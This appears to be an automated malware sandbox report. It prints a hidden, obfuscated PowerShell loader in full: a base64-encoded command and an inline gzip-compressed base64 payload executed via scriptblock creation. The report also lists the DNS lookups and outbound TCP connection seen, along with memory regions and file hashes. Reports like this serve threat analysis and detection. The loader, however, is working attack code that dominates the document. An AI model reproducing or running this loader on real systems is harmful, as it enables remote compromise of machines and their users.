DEAcQBtAHcAOAA1ADcANwBhAHUANwBTAGEATgA3AE8AMgBHADIAMABlAG8AdQB3AHcAbABQAHYAWgBOAHAAeAB6AEMATQAwAHcAQgAzADMAQgAxAEMARgBnACsAYQA3AHUANgBtAGYAcwBWAEgAdABoADkAWgBoAGoASABPAGUAcwBpAEMANgA2ADIAMwAzAGEAcwB2AHUAQgAwAGgAdgBPAGsAWQA5AFEAewAxAH0AdgBUADgAWQAnACcAKwAnACcAZABhAGsAeQA0AGgAUgBjADkAZgByAEkAdwAnACcAKwAnACcAdwB0AGIAUQBHAEwAUABHAG8AbwAxADYAVwA0AHUAUwAyADQAZgB6ADcAdQAwAE4AZAB2AHQAMwBnADAAWgBvADEASwBjADMAcQBOAE0AYQBUAHkAVgBPADQAdwBaAHQAewAxAH0AbwB6AHUANABjAGoAeABEAGIAWgBIADYAZQBXAFIAYgBkAFQASABCAE8AYgBqAGIARABTAHgAcABXADIARQBGADEAZQBUAE0AZABoAHEAKwBNAHYAUQBPAEoAMQAwAGoAcABCADEAMQBKACsAbQBEAGIAeQB5AGUATwA1AE4AOQB7ADIAfQBZAEIAWABTAHkAewAxAH0ANgArADYAUQB3AGYANwBvAHUAcwBIAFIAbQBBADEAdQBNAE8AcgBmADcAcgBvAEcAewAxAH0ARABkAHMASQBiAHQAbABJADkAOQBkAGIAKwBPAGIAOQBlAGIAagA0ADAAYgBnADMAZwBRAHYAcgBKACcAJwArACcAJwBGAHgAZQB2ADMANQBBADgAUgA3AGQAawAxAGoAMABXAHoATQBLADkASAAyAGQAaQB5AEwANAB2AHQAMwBGAFcAYQB0AEgAZwA3AEMAewAyAH0AbAByAFIAZAAzAEcAUwBMAGoARQBEAE8AawBBADEATAA3AE8AeQB5ADUATgB1AFUAWgArAEgAewAxAH0ARQBvAE4AVABaAE8ATgBmAGsAVwBTAG0ARABCAG8AagBkAEEAOABTAHkANABqAHgAcgBnAHYAMgAwAE4AJwAnACsAJwAnAGUAeQBLAEUAMQA3AFIAdQBHADcARgB7ADIAfQBYAFQAdQA3AFYAUwB6AE4AZAAnACcAKwAnACcAZQBSAEwAVQB7ADEAfQA5AHQARwB1AFgAUgAyAGQAZwB0AE8AUQB7ADEAfQA0AEEAZABXAHQAOQBFAGkAewAyAH0ARQBzAG0AcAB1AG0ANgBZAEoAMQBkADcAYwBtAHEAMAA4AEQAOQA1ACsAcwB6AFoAZgA3AHoAUgBwAHEAeQByAGIAUgBZADUATQBZAFoAdgBsAHQAcwBFAGMARABSAFYATgArACsAJwAnACsAJwAnAFYAWQB3AGEAdABBAFEASABWADYASABhADMAWABnAEkATwBqAFYAMQBCAE0AbwBMAHIAdABVADEAegBDAFoAMwBIAE8ARABzAEUAcgA3AHYAWABFAGgAUQBQAHMAQQBMAFEANgAzAEgAdwBtAEgAdwBRADUAUgA4AEQAQQBNAFgAbABRAEsAawBKADIAeQA4AFAAdQBXADIASAAzADUANwArAFUATgBVAFcAaABXAHMASgBmADgARwArAHMAZQBWADcANwBoADkAMAAzAE0AYwBtAHMANwB0AEgANQBhAGYAewAxAH0ASABoAFkATQBhAHsAMgB9ACsAcwBRAG0ARwBBAHEAUQBOAEMARABpAHMAdgBJAHsAJwAnACsAJwAnADIAfQBoAEgAdwBNAGgAQgBGAHAAaAB4AEcAKwBQADQAYwA4AGkAQQBzAGgAewAxAH0AdwBiAFgAMgBiAGkAZQBBAEIAdgByAGIAegBtAHsAMgB9AHcAWABSAEEAOABhAEUAbABRAHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBuACcAJwAsACcAJwAvACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAIsy12UCA7VWbW{2}iOBD+vtL+h2iFlES'+'lJLyou6200jlQmiBC2YZCKYtObuKAixPTxClwe{2}vfbxySlr1t73o{1}rSWEY8+Mx888M+Mwi31BeaysviDl2{2}t3SjGGOMGRolX4Q1pVK{1}xZ753qz7uVMKh{2}VD4r2gyt1x0eYRr'+'Pz87aWZKQWOy{2}axdEoDQl0'+'R2jJNV05U9lsiQJOb68uye+'+'UL4pld9rF4zfYVaI7drYXxLlGMWB3OtzH0vPat6aUaGpX7+q+uy4Pq+dP2SYpZrq7VJBolrAmKor33V54Gi3JprqUj{2}hKQ9FbULjZqN2Hac4JAOw9khcIpY8SFW4zPN1EiKyJN7fSprZC2kqTIcJ91EQJCRN1aoykwfM5vPftFlx+lUWCxqRmhMLkvC1R5JH6pO0ZuM4YOSKhHPQ8'+'kRC48Vc10Hska+'+'IVokzxqrKfzGjDcimxO6tStqhEkgNRaJXIagv3NPlQcbIXlN9wVFJBB3GExkAwO8Sw7AkEHU6Fy8w6HmhH'+'LN8h4DP2pC{1}NF'+'f+rJhVxYXTseDJDj4royQj+vwJcaWSruvd6'+'lut1UtVUGQMFmZjToP5s{2}oP8a88bi8dKfQ6mzskpDHp7GIcUb8krPZSUEjISI5IrRQbgH+aWmyQoEM'+'YWWAhYZbc+E{1}tPKLiSdfKKAtIg{1}wIbApeQcz1H53ZR05T{1}dglEYC3{2}wayVkJIE1JKF6mxK0+X3yCkthlOIcWHGeSpX1U8ghkJqgq'+'KU1psoUzwfKo+u+tmTF'+'Afp6I0N9f{2}BmdxbJvHqUgyH8IKEIy8NfEpZhKRqmLTgFg7jy7K49UX8WhjxiB9wNIjxANWJA6ekGRJwNOcGHrNI8KJ1oxEIJPXjS7DC6gSRZLk7MILEqivOFrmwp74EpkSkgM3Idwe46KqjGkioApJlGV+{2}A8ffq4+uTPthBTB0coMm1k7IVOggu26JGmBUI5HIgCLbsIjC6fkpLUvNNoH45IOEYypEzM36K1o3d{1}Az4XftRse9X26GAqTR67fTocX3U+IbhYb{2}9MA+UEvIKfeuCW8c0e0h8j+Qk2rtfQtcwTza0c4F46YOsgeLX1mDju24U1Tk27siet3rD82jRSo2mrZNyZqNluXTXMF4E1pfbFCwSCim20f5lBRL{2}uWk1qmw8577au7SaN7O2G20eouwwlPvZNpxzCM0wB33B1CFg+a7u6mfsVHth9ZhjHOesiC66233asvuB0hvOkY9Q{1}vT8Y'+'daky4hRc9frIw'+'wtbQGLPGoo16W4uS24fz7u0Ndvt3g0Zo1Kc3qNMaTyVO4wZt{1}ozu4cjxDbZH6eWRbdTHBObjbDSxpW2EF1eTMdhq+MvQOJ10jpB11J+mDbyyeO5N9{2}YBXSy{1}6+6Qwf7ousHRmA1uMOrf7roG{1}DdsIbtlI99db+Ob9ebj40bg3gQvrJ'+'Fxev35A8R7dk1j0WzMK9H2diyL4vt3FWatHg7C{2}lrRd3GSLjEDOkA1L7Oyy5NuUZ+H{1}EoNTZONfkWSmDBojdA8Sy4jxrgv20N'+'eyKE17RuG7F{2}XTu7VSzNd'+'eRLU{1}9tGuXR2dgtOQ{1}4AdWt9Ei{2}Esmpum6YJ1d7cmq08D95+szZf7zRpqyrbRY5MYZvltsEcDRVN++'+'VYwatAQHV6Ha3XgIOjV1BMoLrtU1zCZ3HODsEr7vXEhQPsALQ63HwmHwQ5R8DAMXlQKkJ2y8PuW2H357+UNUWhWsJf8G+seV77h903Mcms7tH5af{1}HhYMa{2}+sQmGAqQNCDisvI{'+'2}hHwMhBFphxG+P4c8iAsh{1}wbX2bieABvrbzm{2}wXRA8aElQsAAA{0}{0}')-f'=','n','/')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 52.111.227.11:443 tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/1524-0-0x0000000074B6E000-0x0000000074B6F000-memory.dmp

memory/1524-1-0x0000000002E30000-0x0000000002E66000-memory.dmp

memory/1524-2-0x0000000074B60000-0x0000000075310000-memory.dmp

memory/1524-3-0x00000000055E0000-0x0000000005C08000-memory.dmp

memory/1524-4-0x0000000074B60000-0x0000000075310000-memory.dmp

memory/1524-5-0x0000000005C10000-0x0000000005C32000-memory.dmp

memory/1524-7-0x0000000005DA0000-0x0000000005E06000-memory.dmp

memory/1524-6-0x0000000005D30000-0x0000000005D96000-memory.dmp

memory/1524-13-0x0000000005E10000-0x0000000006164000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_evsohgej.3nz.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1524-18-0x0000000006420000-0x000000000643E000-memory.dmp

memory/1524-19-0x0000000006460000-0x00000000064AC000-memory.dmp

memory/1524-20-0x0000000007D60000-0x00000000083DA000-memory.dmp

memory/1524-21-0x0000000006930000-0x000000000694A000-memory.dmp

memory/1524-25-0x0000000074B60000-0x0000000075310000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

memory/4900-35-0x0000000005740000-0x0000000005A94000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 779e8c8d413491abf8544518024abcfd
SHA1 565e4971590fd7c6ce337ad1fbb34decf83359c4
SHA256 1485520bc883fd0e147594ada1ba2fcf9c00a3c14e1a8a45c3bc9319a00b911e
SHA512 af9a3fecb66d635b9e3894e48c75ce063a5ddb69dab3ed256904b7c823cc77aea6740f6d1c5a41bbae5ae5a78ce7310b2840dd49d650ac5b4ddc78646bc07c5c

memory/4900-37-0x0000000006210000-0x000000000625C000-memory.dmp

memory/4900-38-0x0000000005AD0000-0x0000000005AD1000-memory.dmp